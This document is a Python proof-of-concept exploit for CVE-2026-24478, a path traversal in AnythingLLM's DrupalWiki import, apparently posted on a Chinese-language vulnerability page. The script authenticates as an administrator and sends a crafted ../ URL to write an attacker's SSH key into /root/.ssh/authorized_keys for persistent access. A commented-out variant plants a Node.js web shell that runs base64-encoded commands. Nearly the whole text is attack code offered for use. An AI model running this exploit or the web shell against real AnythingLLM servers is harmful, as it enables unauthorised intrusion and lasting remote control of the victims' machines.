CVE-2026-24478 | AnythingLLM DrupalWiki路径遍历导致远程代码执行

# CVE-2026-24478 PoC - AnythingLLM DrupalWiki Path Traversal File Write # Version: < 1.10.0 import requests import base64 TARGET_URL = "http://target-anythingllm:3001" ATTACKER_IP = "attacker_ip" ATTACKER_PORT = "4444" # Generate SSH public key for authentication (replace with your public key) ssh_pub_key = f"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7... attacker@ AnythingLLM-Exploit" def exploit_path_traversal(): """ Exploit the DrupalWiki path traversal to write arbitrary files. This PoC demonstrates writing to /root/.ssh/authorized_keys """ # Payload to write SSH authorized_keys for persistent access # The path traversal sequence ../ allows escaping the intended directory malicious_url = f"http://malicious-drupalwiki.com/wiki?page=../../../../.ssh/authorized_keys" # Alternatively, write a webshell if web directory is known # webshell_path = "../../../../var/www/html/shell.js" # webshell_content = "const {exec} = require('child_process');require('http').createServer((req,res)=>{exec(require('buffer').Buffer.from(req.url.slice(1),'base64').toString(),(e,o)=>res.end(o));}).listen(8080);" payload = { "drupalWikiUrl": malicious_url, "content": ssh_pub_key, "action": "import" } # Authentication required - use admin credentials session = requests.Session() session.post(f"{TARGET_URL}/api/auth/login", json={ "email": "[email protected]", "password": "admin_password" }) # Trigger the vulnerable file write operation response = session.post( f"{TARGET_URL}/api/workspace/drupalwiki/import", json=payload ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] File written successfully! SSH access may be available.") else: print("[-] Exploitation failed. Check credentials and target version.") if __name__ == "__main__": exploit_path_traversal()